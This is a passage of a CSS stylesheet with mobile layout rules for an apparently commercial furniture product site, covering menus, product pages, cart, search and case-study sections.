font-size: 14px
}
.mc-price-body .mc-input-item textarea {
font-size: 14px
}
.prod-ques {
margin-bottom: 50px
}
.prod-ques .zixun {
letter-spacing: 0
}
.prod-ques .zixun a {
margin-left: 10px
}
.mc-body .anli-img img {
width: auto!important
}
.prod-ques .mc-common-title {
width: 100%
}
.mc-body .contact-friends-img,.mc-body .product-box-new {
width: 100%!important;
}
.mc-context .mc-body .box-img li a {
font-size: 12px!important;
line-height: 14px;
display: block
}
.product-list__categories .wrapper .mc-bg-p-body ul li {
width: 49%;
margin-right: 2%
}
.product-list__categories .wrapper .mc-bg-p-body ul li:nth-of-type(2n) {
margin-right: 0
}
.product-list__categories .wrapper .mc-bg-p-body ul li {
max-height: 180px;
height: auto
}
.product-list__categories .wrapper .mc-bg-p-body ul li .img-wrap {
height: 130px
}
input,textarea {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none
}
.w-new {
width: 96%
}
.w-1112 {
width: 92%
}
.w-880 {
width: 100%
}
.ali-col-4-y ul li {
width: 48.4%;
margin: 0 2% 10px 0
}
.ali-col-4-y ul li:nth-of-type(2n) {
margin-right: 0
}
.ali-col-4-y ul li .title {
font-size: 16px
}
.ali-col-4-x ul li {
height: 212px;
text-align: center;
width: 48.4%;
margin: 0 2% 10px 0
}
.ali-col-4-x ul li:nth-of-type(2n) {
margin-right: 0
}
.ali-col-4-x ul li .left,.ali-col-4-x ul li .right {
float: none
}
.ali-col-4-x ul li .left {
width: 46px;
height: 46px;
margin: 42px auto 0
}
.ali-col-4-x ul li .right {
width: 100%;
margin-top: 0
}
.ali-col-4-x ul li .right .title {
font-size: 16px;
line-height: 54px;
margin-bottom: 0
}
.ali-col-4-x ul li .right .sub-title {
margin: 0 auto
}
.ali-col-3-x ul li {
width: auto;
margin: 0 0 10px;
float: none
}
.ali-col-2 ul li {
float: none;
margin: 0 0 10px;
width: 100%
}
.ali-title {
margin-bottom: 31px
}
.ali-title .text {
font-size: 24px;
padding: 0 10px
}
.ali-sub-title p {
font-size: 16px
}
.ali-join-us .w {
width: 100%
}
.ali-join-us .body ul li {
padding: 15px 0
}
.ali-join-us .body ul li p {
height: auto;
padding-left: 180px;
font-size: 14px
}
.vitra-words-page .first-title,.vitra-words-page .title {
font-size: 24px;
margin-bottom: 40px
}
.vitra-words-page .title {
padding-top: 50px
}
.vitra-words-page .sub-title {
font-size: 22px
}
.vitra-words-page .col-4 ul li {
float: left;
width: 49%;
height: auto;
max-height: 180px;
margin-right: 2%
}
.vitra-words-page .col-4 ul li:nth-child(2n) {
margin-right: 0
}
.vitra-words-page .col-4 ul li div {
height: 130px
}
.vitra-words-page .col-3 ul li {
float: none;
width: 100%;
margin: 0 0 10px 0
}
.vitra-words-page .col-2 ul li {
float: none;
width: 100%;
margin: 0 0 10px 0
}
.vitra-words-page .kefu .input-item label {
text-align: center;
margin-bottom: 20px
}
.vitra-words-page .kefu .input-item input {
padding: 0;
height: 32px;
font-size: 14px
}
.product-list__description .container-center {
padding: 0 20px
}
.product-list__categories .wrapper .container-center {
padding: 0 20px
}
.news-list__wrapper .content .item,.product-list__categories .wrapper .content .item {
float: none;
margin-right: 0;
width: 100%
}
.news-list__wrapper .content .item>p.item-desc,.product-list__categories .wrapper .content .item>p.item-desc {
height: auto
}
.product-list__banner .text {
width: 90%;
box-sizing: border-box
}
.product-list__banner__new {
margin-top: -30px
}
.product-details__title h1 {
font-size: 28px
}
.product-details__bigimg .bigimg-item ul li,.product-details__bigimg .bigimg-item-new ul li {
float: none;
width: 100%;
margin-bottom: 10px
}
.product-details__size .size-img img {
width: 100%;
height: auto
}
.product-details__match .match-item {
padding: 25px 10px
}
.product-details__match .match-item .match-img {
width: 100%;
float: none;
border: 0;
text-align: center;
padding-bottom: 10px
}
.product-details__match .match-item .match-img>div {
float: none;
display: inline-block
}
.product-details__match .match-item .match-img .match-img__plus {
vertical-align: top
}
.product-details__match .match-item .match-text {
float: none;
width: 100%;
border-top: 1px solid #d2d2d2
}
.recommond-wrapper .content .item {
width: 100%;
margin-right: 0;
padding-bottom: 32px
}
.recommond-wrapper .content .item>div {
margin-bottom: 20px
}
.recommond-wrapper .content .item p {
font-size: 16px
}
.product-details__size .size-img .w-880 {
line-height: 26px
}
body,html {
-webkit-overflow-scrolling: touch
}
body.cc-index .phone-menu div a {
display: block;
padding: 0 20px
}
body.cc-index .phone-menu .p-m-f {
padding: 0
}
#cc-index-header .bottom,#cc-index-header .middle {
display: none
}
#cc-index-header .top {
position: fixed;
top: 0;
left: 0;
width: 100%;
overflow: hidden;
padding: 0;
background-color: #383d41;
height: 50px;
line-height: 50px;
padding: 0px 14px!important;
}
#cc-index-header .top .top-welcome {
display: none
}
#cc-index-header .top .phone-btn {
display: block
}
#cc-index-header .top .phone-btn i {
color: #fff
}
.cc-index .banner-slider {
margin-top: 50px
}
.phone-menu {
display: none;
opacity: 0;
position: fixed;
top: 0;
right: -80%;
width: 80%;
height: 100%;
background: #2e2e2e;
z-index: 1002;
overflow: auto
}
.phone-menu-mask {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,.5);
z-index: 1001
}
.phone-menu li {
overflow: hidden;
line-height: 40px
}
.phone-menu .p-m-f {
padding: 0 20px
}
.phone-menu li:first-child .p-m-f,.phone-menu li:nth-child(11) .p-m-f,.phone-menu li:nth-child(12) .p-m-f {
padding: 0
}
.phone-menu li:first-child .p-m-f a,.phone-menu li:nth-child(11) .p-m-f a,.phone-menu li:nth-child(12) .p-m-f a {
display: block;
padding: 0 20px
}
.phone-menu .p-m-f,.phone-menu li ul li {
border-bottom: 1px solid #444
}
.phone-menu li ul {
background: #3b3b3b;
display: none
}
.phone-menu li ul li a {
color: #9b9ea0;
font-size: 14px;
display: block;
padding-left: 40px
}
.phone-menu div,.phone-menu div a {
color: #fff;
font-size: 16px
}
.phone-menu div i {
float: right
}
.phone-back {
display: block;
position: absolute;
left: 15px
}
.phone-back img {
vertical-align: top;
margin-top: 13px
}
#cc-index-header .top .slide-nav-right li {
line-height: 50px;
padding-right: 20px
}
#cc-index-header .top .slide-nav-right li a {
color: #fff
}
#cc-index-header .top .slide-nav-right>ul>li {
line-height: 50px;
padding-right: 20px
}
#cc-index-header .top .nav-action-menu,#cc-index-header .top .slide-nav-inner {
display: none!important
}
#cc-index-header .top .slide-nav .logo-small .pc-logo {
display: none
}
#cc-index-header .top .slide-nav .logo-small .phone-logo {
display: block
}
.cc-index ._pad .w-1228,.cc-index-zonghe .w-1228 {
padding: 40px 0 20px;
width: 96%
}
.cc-index .title h2 {
font-size: 22px;
padding-bottom: 5px;
line-height: 26px
}
.cc-index .title p {
font-size: 12px;
width: 80%;
line-height: 18px
}
.cc-index-common .goods-list ul li {
width: 48%!important;
margin-right: 4%
}
.cc-index-common .goods-list ul li:nth-child(2n) {
margin-right: 0
}
.cc-index-common .sub-title {
border-bottom: 0;
margin-top: 15px
}
.cc-index-common .sub-title dl dt {
float: none;
text-align: center;
width: 100px;
margin: 0 auto;
background: #fff;
font-size: 14px;
color: #333;
line-height: 40px;
position: relative;
z-index: 5
}
.cc-index-common .sub-title dl {
overflow: visible
}
.cc-index-common .sub-title dl dd {
margin-top: -20px;
width: 100%;
overflow: auto
}
.cc-index-common .sub-title dl dd .phone-nav-wrapper {
width: 800px
}
.cc-index-common .sub-title dl dd a {
font-size: 14px;
line-height:2px!important;
}
.cc-index-common .goods-list ul {
width: 100%
}
.cc-index-common .goods-list ul li .item-name p {
font-size: 16px
}
.cc-index-quanpin {
background: url(../images/quanpin-phone.jpg) no-repeat center;
background-size: cover
}
.cc-index-quanpin .wrapper ul {
padding: 40px 0 20px
}
.cc-index-quanpin .wrapper ul li {
margin-bottom: 20px
}
.cc-index-quanpin .wrapper ul li a p {
padding-top: 10px
}
.cc-index-quanpin .wrapper ul li a span {
font-size: 20px
}
.cc-index-quanpin .wrapper ul li a img {
width: 50px;
height: auto
}
.cc-index-fangan .wrapper ul li {
float: none;
width: 100%!important;
padding-bottom: 25px
}
.cc-index-anli .wrapper .more,.cc-index-fangan .wrapper .more {
width: 80%!important;
}
.cc-index-anli .wrapper ul li .text {
display: none
}
.cc-index-partner .wrapper img {
height: auto
}
.cc-index-zonghe .w-1228>._left {
width: 100%!important;
height: 120px
}
.cc-index-zonghe .w-1228>._right {
width: 100%!important;
height: 120px
}
.cc-index-zonghe .w-1228 ._top ._left,.cc-index-zonghe .w-1228 ._top ._right {
width: 100%!important;
height: 55px;
margin-left: 0px!important;
}
.cc-index-zonghe .w-1228 ._bottom {
width: 99%;
margin: 2px 0 0 1%;
height: 63px
}
.cc-index-anli .wrapper ul {
width: 101.3%;
margin-left: 0
}
.cc-index-news .wrapper ._left {
float: none;
width: 100%!important;
overflow: hidden
}
.cc-index-news .wrapper ._left .tab-nav {
overflow: auto
}
.cc-index-news .wrapper .tab-nav ul {
width: 720px
}
.cc-index-news .wrapper .tab-content li {
margin-bottom: 30px
}
.cc-index-news .wrapper .tab-content li ._left {
width: 44%!important;
height: 90px;
float: left
}
.cc-index-news .wrapper .tab-content li .summary {
width: 56%;
margin-left: 44%!important;
}
.cc-index-news .wrapper .tab-content li .summary h3 a {
font-size: 14px;
margin-bottom: 5px
}
.cc-index-news .wrapper .tab-content li .summary p {
font-size: 12px;
height: 20px;
line-height: 20px
}
.cc-index-news .wrapper .tab-content li .summary .source {
margin-top: 15px
}
.cc-index-news .wrapper .tab-content li .summary .source .author,.cc-index-news .wrapper .tab-content li .summary .source .time {
font-size: 12px
}
.cc-index-news .wrapper ._right {
float: none;
width: 100%
}
.cc-index-news .wrapper ._right .article-list {
padding-left: 20px;
display: contents;
}
.cc-index-news .wrapper ._right h2 {
text-indent: 5px
}
#cc-index-footer {
display: none
}
.phone-footer {
background: #1b1b1b
}
.phone-footer .p1 a {
color: #fff
}
.w-1228 {
width: 100%
}
.dzal_banner_box .dzal_banner_bg .dzal_banner_text p {
width: 100%;
font-size: 14px;
color: #3d4751;
letter-spacing: .64px;
line-height: 22px;
margin-bottom: 28px;
font-weight: 400
}
.dzal_banner_box .dzal_banner_bg .dzal_banner_text {
padding: 60px 16px 0;
box-sizing: border-box
}
.dzal_banner_box .dzal_banner_bg .dzal_banner_text h2 {
height: 34px;
line-height: 34px;
font-size: 24px;
color: #3d4751;
font-weight: 400;
margin-bottom: 10px
}
.dzal_banner_box .dzal_banner_bg .dzal_banner_text a {
width: 128px;
height: 40px;
line-height: 40px;
border: 0 solid #00c1de;
background: #00c1de;
font-size: 14px;
color: #fff
}
.dzal_banner_box .dzal_banner_bg .fixed {
top: 50px
}
.dzal_banner_box .dzal_banner_bg .fixed a.unsaw {
display: none
}
.dzal_banner_box .dzal_banner_bg .fixed .a_wrapper {
width: 100%
}
.dzal_banner_box .dzal_banner_bg .fixed a.saw {
width: 50%
}
.dzal_content_box .dzal_content_child {
padding: 30px 0 14px
}
.dzal_content_box .dzal_content_child h2 {
height: 36px;
line-height: 36px;
font-size: 24px;
color: #373d41;
margin-bottom: 30px
}
.dzal_content_box .dzal_content_child .dzal_content_child_child {
padding: 35px 10px
}
.dzal_content_box .dzal_content_child .dzal_content_child_child .item li {
width: 100%;
padding: 0;
margin-bottom: 20px;
box-shadow: 0 2px 15px 0 rgba(0,0,0,.15)
}
#cc-index-header .top .slide-nav-right>ul>li,#cc-index-header .top .slide-nav-right>ul>li:nth-of-type(4) {
padding-right: 20px
}
.input_box {
width: 50px;
right: 260px
}
#input_search_box {
background: #f8f8f8;
padding: 15px;
height: 100%;
position: fixed;
top: 0;
bottom: 0;
width: 100%;
box-sizing: border-box;
transform: translateX(100%);
z-index: 1000000000;
transition: all ease .3s
}
#input_search_box .p_s_b .i_w {
position: relative
}
#input_search_box .p_s_b .i_w .s_i {
position: absolute;
left: 0;
width: 25px;
top: 7.5px;
left: 10px
}
#input_search_box .p_s_b .i_w form {
display: inline-block;
width: 85%
}
#input_search_box .p_s_b .i_w input {
width: 100%;
vertical-align: middle;
font-size: 16px;
border: 0;
background: #fff;
height: 40px;
text-indent: 2.7em;
border-radius: 20px
}
#input_search_box .p_s_b .i_w input:focus {
outline: 0
}
#input_search_box .p_s_b .i_w span {
display: inline-block;
width: 15%;
vertical-align: middle;
text-align: right;
font-size: 16px
}
#input_search_box .h_r {
margin-top: 20px;
background: #fff;
border-radius: 15px;
padding: 15px;
font-size: 16px
}
#input_search_box .h_r dl {
margin-top: 15px
}
#input_search_box .h_r dt {
font-weight: 700;
color: #2c2c2c
}
#input_search_box .h_r dd {
display: inline-block;
padding: 5px 15px;
background: #f6f6f6;
border-radius: 18.5px;
margin: 15px 10px 0 0;
color: #4b4b4b;
font-size: 14px
}
#cc-index-header .slide-nav-right #car-box {
display: none
}
.w_car {
width: 100%
}
.car_body .w_car {
margin-bottom: 30px;
padding-top: 0
}
.car_body .car_content h2,.car_body .car_msg h2 {
padding-left: 20px
}
.car_body .car_content h2,.car_body .car_msg .input_wrapper,.car_body .car_msg h2 {
width: 100%;
padding-left: 20px;
box-sizing: border-box
}
.car_body .car_msg .input_wrapper li {
float: none;
margin-right: 0;
margin-bottom: 20px
}
.car_body .car_msg .input_wrapper li:last-child {
margin-top: 20px
}
.car_body .car_content .list_wrapper li .lit {
width: 120px;
height: 82px
}
.car_body .car_content .list_wrapper li>div.tit {
width: 45%
}
.car_body .car_content .list_wrapper li .tit h3 {
text-align: left;
width: 100%;
margin-left: 20px
}
.car_body .car_content .list_wrapper li .add_redc {
margin-left: 68px;
line-height: 30px
}
.car_body .car_content .list_wrapper li .mdf_del {
line-height: 30px
}
.car_body .car_content .list_wrapper li {
border-bottom: 7px solid #f6f6f6
}
.car_body .car_content h2,.car_body .car_msg h2 {
font-size: 22px
}
.car_blank_wrapper .car_img img {
width: 150px;
height: auto
}
.car_sumbit {
position: fixed;
bottom: 0;
left: 0;
right: 0;
z-index: 1000
}
.car_sumbit .checked {
margin-right: 15px
}
.car_sumbit .car_bot_l span.c {
padding: 0 5px
}
.cont_right,.fr,.right {
width: 35%
}
.car_sumbit .car_bot_r a {
width: 100%;
display: block;
margin: 0;
border-radius: 0;
height: 61px;
margin-top: -1px;
line-height: 61px
}
.car_sumbit {
height: 60px;
padding: 0;
line-height: 60px
}
.car_sumbit .checked {
margin-top: 20px
}
.pro_page_bot {
position: fixed;
left: 0;
right: 0;
bottom: 0;
z-index: 1000;
height: 60px;
background: #f7f7f7;
display: block
}
.pro_page_bot ul {
overflow: hidden
}
.pro_page_bot li {
float: left;
text-align: center;
height: 60px
}
.pro_page_bot li a {
display: block
}
.pro_page_bot li.has_img {
width: 12%;
box-sizing: border-box;
padding-top: 10px
}
.pro_page_bot li.has_no_img {
width: 30%;
height: 45px;
line-height: 45px;
font-size: 14px;
color: #000;
margin-top: 7.5px
}
.pro_page_bot li.has_no_img:last-child {
background: #000;
color: #fff
}
.pro_page_bot li.at_once {
border-radius: 22.5px 0 0 22.5px;
margin-left: 2%;
background: #e56a69;
color: #fff
}
.pro_page_bot li.add_cart {
border-radius: 0 22.5px 22.5px 0
}
.pro_page_bot #mb_car_num {
position: relative
}
.pro_page_bot .mb-car-num {
position: absolute;
width: 16px;
height: 16px;
text-align: center;
line-height: 16px;
background: #e56a69;
border-radius: 8px;
font-family: SimSun;
color: #fff;
top: -2px;
right: 5px;
font-weight: lighter
}
.mc-body>div,.mc-body>p {
width: 100%
}
.mc-body>.news-style {
width: 100%
}
.border-bot {
margin-bottom: 50px
}
.product-box .box-text {
padding-top: 40px
}
.product-box .box-btn a {
width: 150px
}
.anli-add .anli-title,.article-links .article-title {
font-size: 18px
}
.anli-add ul li {
width: 100%;
margin-bottom: 20px;
margin-left: 0px;
}
.cc-index-common .sub-title dl dt span {
display: none
}
.cc-index-common .sub-title dl dd {
border-top: 1px solid #ccc;
margin-top: -20px;
overflow: auto
}
.cc-index-common .sub-title dl dd .phone-nav-wrapper {
width: 180%;
position: relative;
z-index: 5
}
.cc-index .pad-bot-50 {
padding-bottom: 50px
}
.cc-index-service img {
display: inline;
width: 30px;
height: 30px;
float: left;
padding-top: 15px
}
.cc-index-service .left,.cc-index-service .middle,.cc-index-service .right {
float: none;
width: 100%;
background: 0 0
}
.cc-index-service .left {
margin-bottom: 30px
}
.cc-index-service .left div {
width: 94%;
margin: 0 auto;
text-align: justify
}
.cc-index-service .left .know-more {
margin-left: 0
}
.cc-index-service .p-wrapper {
box-sizing: border-box;
overflow: hidden
}
.cc-index-service .dl {
width: 50%;
float: left
}
.cc-index-service .dl a {
display: block;
overflow: hidden
}
.cc-index-service .dt {
font-size: 12px;
box-sizing: border-box;
width: 100%;
overflow: hidden
}
.cc-index-service .middle .text,.cc-index-service .right .text {
width: 100%;
overflow: hidden
}
.article-box li {
font-size: 12px
}
.anli-img{
width:auto;
}
}
/*�²�Ʒ�ƶ�����ʽ*/
@media screen and (max-width:750px) {
.main-menu-inner .logo2{margin-left: 88%;}
.main-content-new .mc-introduce .mc-img-zt{width: 100%;}
.template-size-img img{padding-top: 20px;}
.anli-add ul li img, .product-box .box-img ul li img{height: 98px;}
.product-box-new .box-img ul li{width: 49%;height: 157px;}
.main-content-new .mc-body .article-item li{display: inline-table;width: 100%;}
.article-title-button{display: none;}
.article-title-button-img{display: none;}
.article-item{width: 100%;}
.single-recommend-desc{display: none;}
.main-menu li a{display: none;}
.index-logo{padding-left: 5px!important;margin-top: 31px!important;}
.p-wrapper{width: 77%;}
.cc-index-service .wrapper ul.w-1228{width: 100%!important;}
.article-list-item-wrapper{width: 100%;}
div.edit {
width: 320px;
margin: 0 auto;
}
.edit hr {
margin: 20px;
background-color: #cccccc;
height: 1px;
border: none;
}
.edit .small_pic_part {
width: 320px;
display: flex;
flex-direction: column;
}
.edit .small_pic_part .pic {
padding-right:0px;
}
.edit .small_pic_part .wrap {
overflow: hidden;
height:100%;
display: unset;
}
.edit .small_pic_part .wrap .slideshow{
position: relative;
height: 100%;
top: 0;
bottom: 0;
right: 0;
list-style: none;
padding: 0;
margin: 0;
}
.edit .small_pic_part .wrap .slideshow li{
float:left;
}
.edit .small_pic_part .wrap .slideshow li img{
width: auto;
height: auto;
max-width: 100%;
max-height: 100%;
}
.edit .small_pic_part .wrap span {
float: right;
margin-top: -30px;
}
.edit .small_pic_part .wrap #current {
float: right;
position: absolute;
font-size: 18px;
margin-left: 89%;
color: #000;
}
.edit .small_pic_part .wrap #total{
position: absolute;
margin-left: 92%;
}
.edit .small_pic_part .demand {
width: 320px;
}
.edit .small_pic_part .demand .demand-title {
padding: 20px 10px;
font-size: 18px;
}
.edit .small_pic_part .demand .info-list {
background: #F7F7F7;
padding: 10px 0;
}
.edit .small_pic_part .demand .info-list p {
background: #ffffff;
padding: 8px 10px;
margin-top: 10px;
display: flex;
flex-direction: row;
}
.edit .small_pic_part .demand .info-list p:first-child {
margin-top: 0;
}
.edit .small_pic_part .demand .info-list p:first-child .demand {
color: red;
}
.edit .small_pic_part .demand .info-list .title {
flex-shrink: 0;
font-size: 12px;
color: #666666;
margin:0 10px 0 0px;
}
.edit .small_pic_part .demand .info-list .demand {
font-size: 12px;
margin-right:0px;
}
.edit .small_pic_part .demand .select-list {
background: #F7F7F7;
padding-bottom: 10px;
}
.edit .small_pic_part .demand .select-list .select {
background: #ffffff;
padding: 0 10px;
line-height: 36px;
vertical-align: middle;
display: flex;
flex-direction: row;
}
.edit .small_pic_part .demand .select-list .select .title {
min-width: 56px;
flex-shrink: 0;
font-size: 12px;
color: #666666;
}
.edit .small_pic_part .demand .select-list .select .color,
.edit .small_pic_part .demand .select-list .select .style {
display: flex;
flex-direction: row;
align-items: center;
flex-wrap: wrap;
}
.edit .small_pic_part .demand .select-list .select button {
font-size: 12px;
margin-right: 8px;
background: none;
color: #666666;
padding: 4px 8px;
border: 1px solid #D2D2D2;
}
.edit .small_pic_part .demand .select-list .select button img {
width: 18px;
height: 18px;
float: left;
margin-right: 5px;
}
.edit .small_pic_part .demand .sign {
background: #F7F7F7;
padding-bottom: 10px;
display: flex;
flex-direction: row;
}
.edit .small_pic_part .demand .sign .title {
background: #ffffff;
min-width: 56px;
font-size: 12px;
padding: 8px 0 0 10px;
color: #666666;
}
.edit .small_pic_part .demand .sign ul {
width: 244px;
background: #ffffff;
padding: 8px 10px 0 0;
display: flex;
flex-direction: row;
flex-wrap: wrap;
}
.edit .small_pic_part .demand .sign ul li {
margin-right: 8px;
margin-bottom: 10px;
}
.edit .small_pic_part .demand .sign ul li a {
font-size: 12px;
padding: 4px 8px;
text-decoration: none;
background: #F7F7F7;
color: #666666;
border: 1px solid #d2d2d2;
}
.edit .small_pic_part .demand .foot {
background: #F7F7F7;
padding: 10px 10px 20px 10px;
margin-top: auto;
}
.edit .small_pic_part .demand .foot .title {
font-size: 12px;
color: #666666;
margin-right: 10px;
}
.edit .small_pic_part .demand .foot button {
font-size: 16px;
background: #333333;
color: #ffffff;
padding: 8px 16px;
border: 1px solid #333333;
}
.edit .large_pic_part .demand1 {
font-size: 12px;
text-align: center;
margin: 20px;
}
.edit .large_pic_part .img1 img {
width: 320px;
height: 180px;
}
.edit .large_pic_part .demand2 {
font-size: 12px;
text-align: center;
margin: 20px;
}
.edit .large_pic_part .img2 img {
width: 320px;
height: 180px;
}
.edit .product_pic_part {
background: #F7F7F7;
padding: 10px;
}
.edit .product_pic_part .wrapper {
flex-direction: column;
background: #ffffff;
}
.edit .product_pic_part .product_title{
padding: 10px 0;
font-size: 20px;
font-weight: 700;
text-align: center;
}
.edit .product_pic_part .product_content{
}
.edit .product_pic_part .wrapper .product_content .img{
padding: 0;
height:100%;
}
.edit .product_pic_part .wrapper .product_content .img img {
width: auto;
height: auto;
max-width: 100%;
max-height: 100%;
}
.edit .product_pic_part .wrapper .product_content .img_list{
padding: 0;
height:100%;
display: unset;
}
.edit .product_pic_part .wrapper .product_content .img_list dl dt img {
width: auto;
height: auto;
max-width: 100%;
max-height: 100%;
}
.edit .product_pic_part .wrapper .product_content .img_list dl dd{
text-align:center;
padding: 0 0 15px;
}
.edit .product_pic_part .wrapper .product_content .select-list {
width: 300px;
}
.edit .product_pic_part .wrapper .product_content .select-list .select {
margin: 5px 0;
}
.edit .product_pic_part . .product_content .select-list .select .title {
margin: 0 10px;
flex-shrink: 0;
font-size: 14px;
font-weight: 700;
padding: 5px 0;
border-bottom: 1px solid #f2f2f2;
}
.edit .product_pic_part .wrapper .product_content .select-list .select .style,
.edit .product_pic_part .wrapper .product_content .select-list .select .materials,
.edit .product_pic_part .wrapper .product_content .select-list .select .color,
.edit .product_pic_part .wrapper .product_content .select-list .select .settings {
display: flex;
flex-direction: row;
align-items: center;
flex-wrap: wrap;
margin: 5px 10px;
}
.edit .product_pic_part .wrapper .product_content .select-list .select button {
margin-right: 10px;
background: none;
color: #666666;
border: none;
font-size: 12px;
}
.edit .color_and_material {
background: #F7F7F7;
padding: 10px;
}
.edit .color_and_material .wrapper {
background: #ffffff;
}
.edit .color_and_material .wrapper .candm-title {
padding: 10px 0;
font-size: 20px;
font-weight: 700;
text-align: center;
}
.edit .color_and_material .wrapper .color .title {
padding: 5px 0;
margin: 0 10px;
font-size: 14px;
font-weight: 700;
border-bottom: 1px solid #f2f2f2;
}
.edit .color_and_material .wrapper .color .color-list {
margin-bottom: 10px;
}
.edit .color_and_material .wrapper .color .color-list ul {
width: 300px;
display: flex;
flex-direction: row;
flex-wrap: wrap;
}
.edit .color_and_material .wrapper .color .color-list ul li {
width: 100px;
text-align: center;
font-size: 12px;
color: #666666;
margin-bottom: 10px;
}
.edit .color_and_material .wrapper .color .color-list ul li img {
width: 90px;
height: 90px;
padding-bottom: 10px;
border-bottom: 1px solid #f2f2f2;
}
.edit .color_and_material .wrapper .materials .title {
padding: 5px 0;
margin: 0 10px;
font-size: 14px;
font-weight: 700;
border-bottom: 1px solid #f2f2f2;
}
.edit .color_and_material .wrapper .materials .materials-list {
padding-bottom: 10px;
}
.edit .color_and_material .wrapper .materials .materials-list ul {
width: 300px;
}
.edit .color_and_material .wrapper .materials .materials-list ul li {
padding: 5px;
margin: 0 10px;
font-size: 12px;
display: flex;
flex-direction: row;
border-bottom: 1px solid #f2f2f2;
}
.edit .color_and_material .wrapper .materials .materials-list ul li .materials-title {
display: inline-block;
font-weight: 700;
min-width: 40px;
}
.edit .color_and_material .wrapper .materials .materials-list ul li .materials-demand {
color: #666666;
}
.edit .size_info {
background: #F7F7F7;
padding: 10px;
}
.edit .size_info .wrapper {
background: #ffffff;
}
.edit .size_info .wrapper .title {
padding: 10px 0;
font-size: 20px;
font-weight: 700;
text-align: center;
}
.edit .size_info .wrapper .img {
width: 300px;
}
.edit .size_info .wrapper .select-list ul {
width: 300px;
margin: auto;
padding-bottom: 10px;
display: flex;
flex-direction: row;
flex-wrap: wrap;
justify-content: normal;
}
.edit .size_info .wrapper .select-list ul li {
margin: 5px;
}
.edit .size_info .wrapper .select-list ul li button {
font-size: 12px;
background: none;
color: #666666;
padding: 4px 8px;
border: 1px solid #D2D2D2;
}
.edit .product_param {
background: #F7F7F7;
padding: 10px;
}
.edit .product_param .wrapper {
background: #ffffff;
}
.edit .product_param .wrapper .title {
padding: 10px 0;
margin: 0 10px;
font-size: 20px;
font-weight: 700;
border-bottom: 1px solid #d2d2d2;
text-align: center;
}
.edit .product_param .wrapper .param-list {
padding-bottom: 10px;
}
.edit .product_param .wrapper .param-list ul {
width: 100%;
}
.edit .product_param .wrapper .param-list ul li {
padding: 5px 10px;
font-size: 12px;
display: flex;
flex-direction: row;
}
.edit .product_param .wrapper .param-list ul li .param-title {
display: inline-block;
min-width: 70px;
}
.edit .product_param .wrapper .param-list ul li .param-demand {
color: #666666;
word-break: break-all;
}
.edit .design_info .title {
font-size: 20px;
font-weight: 700;
text-align: center;
margin: 20px 0;
}
.edit .design_info .img {
width: 300px;
margin: auto;
text-align: center;
}
.edit .design_info .img .image{
width: unset;
height: unset;
margin: unset;
float: unset;
border: unset;
line-height: unset;
}
.edit .design_info .img .image img {
}
.edit .design_info .demand {
font-size: 12px;
width: 300px;
margin: auto;
text-align: center;
padding-bottom: 10px;
}
.edit .case_part {
padding: 10px;
background: #F7F7F7;
}
.edit .case_part .wrapper {
background: #ffffff;
}
.edit .case_part .wrapper .case-title {
font-size: 20px;
font-weight: 700;
text-align: center;
padding: 20px 0;
}
.edit .case_part .wrapper .anli-list{
height: auto;
}
.edit .case_part .wrapper .anli-list dl {
display: flex;
flex-direction: column;
padding: 10px;
float: unset;
width: unset;
margin: unset;
}
.edit .case_part .wrapper .anli-list dl dt {
height: auto;
text-align: center;
}
.edit .case_part .wrapper .anli-list dl dd .title {
font-size: 14px;
font-weight: 700;
}
.edit .case_part .wrapper .anli-list dl dd .demand {
font-size: 12px;
}
.edit .case_part .wrapper .anli-list ul {
display: flex;
flex-direction: column;
padding: 10px;
}
.edit .case_part .wrapper .anli-list ul li {
width: 280px;
text-align: center;
margin-bottom: 20px;
}
.edit .case_part .wrapper .anli-list ul li img {
width: 280px;
height: 210px;
}
.edit .case_part .wrapper .anli-list ul li .title {
font-size: 14px;
font-weight: 700;
}
.edit .product_part {
padding: 10px;
background: #F7F7F7;
}
.edit .product_part .wrapper {
background: #ffffff;
height:auto;
}
.edit .product_part .wrapper .product-title {
font-size: 20px;
font-weight: 700;
text-align: center;
padding: 20px 0;
}
.edit .product_part .wrapper .similar-list{
height: auto;
justify-content: unset;
display: unset;
}
.edit .product_part .wrapper .similar-list dl {
display: flex;
flex-direction: column;
padding: 10px;
float: unset;
width: unset;
margin: unset;
}
.edit .product_part .wrapper .similar-list dl dt {
height: auto;
text-align: center;
}
.edit .product_part .wrapper .similar-list dl dd .title {
font-size: 14px;
font-weight: 700;
}
.edit .product_part .wrapper .similar-list dl dd .demand {
font-size: 12px;
}
/*.edit .product_part .wrapper .similar-list ul {*/
/* display: flex;*/
/* flex-direction: column;*/
/* padding: 10px;*/
/*}*/
/*.edit .product_part .wrapper .similar-list ul li {*/
/* width: 280px;*/
/* height: auto;*/
/* text-align: center;*/
/* margin-bottom: 20px;*/
/*}*/
/*.edit .product_part .wrapper .similar-list ul li img {*/
/* width: 280px;*/
/* height: 210px;*/
/*}*/
/*.edit .product_part .wrapper .similar-list ul li .title {*/
/* font-size: 14px;*/
/* font-weight: 700;*/
/*}*/
/*.edit .product_part .wrapper .similar-list ul li .demand {*/
/* font-size: 12px;*/
/*}*/
.edit .support_product_part {
padding: 10px;
background: #F7F7F7;
}
.edit .support_product_part .wrapper {
background: #ffffff;
}
.edit .support_product_part .wrapper .support-title {
font-size: 20px;
font-weight: 700;
text-align: center;
padding: 20px 0;
}
.edit .support_product_part .wrapper .support-list{
height:auto;
justify-content: unset;
display: unset;
}
.edit .support_product_part .wrapper .support-list dl {
display: flex;
flex-direction: column;
padding: 10px;
float: unset;
width: unset;
margin: unset;
}
.edit .support_product_part .wrapper .support-list dl dt {
height: auto;
text-align: center;
}
.edit .support_product_part .wrapper .support-list dl dd .title {
font-size: 14px;
font-weight: 700;
}
.edit .support_product_part .wrapper .support-list dl dd .demand {
font-size: 12px;
}
/*.edit .support_product_part .wrapper .support-list ul {*/
/* display: flex;*/
/* flex-direction: column;*/
/* padding: 10px;*/
/*}*/
/*.edit .support_product_part .wrapper .support-list ul li {*/
/* width: 280px;*/
/* text-align: center;*/
/* margin-bottom: 20px;*/
/*}*/
/*.edit .support_product_part .wrapper .support-list ul li img {*/
/* width: 280px;*/
/* height: 210px;*/
/*}*/
/*.edit .support_product_part .wrapper .support-list ul li .title {*/
/* font-size: 14px;*/
/* font-weight: 700;*/
/*}*/
/*.edit .support_product_part .wrapper .support-list ul li .demand {*/
/* font-size: 12px;*/
/*}*/
.edit .factory_info .info-title {
font-size: 20px;
font-weight: 700;
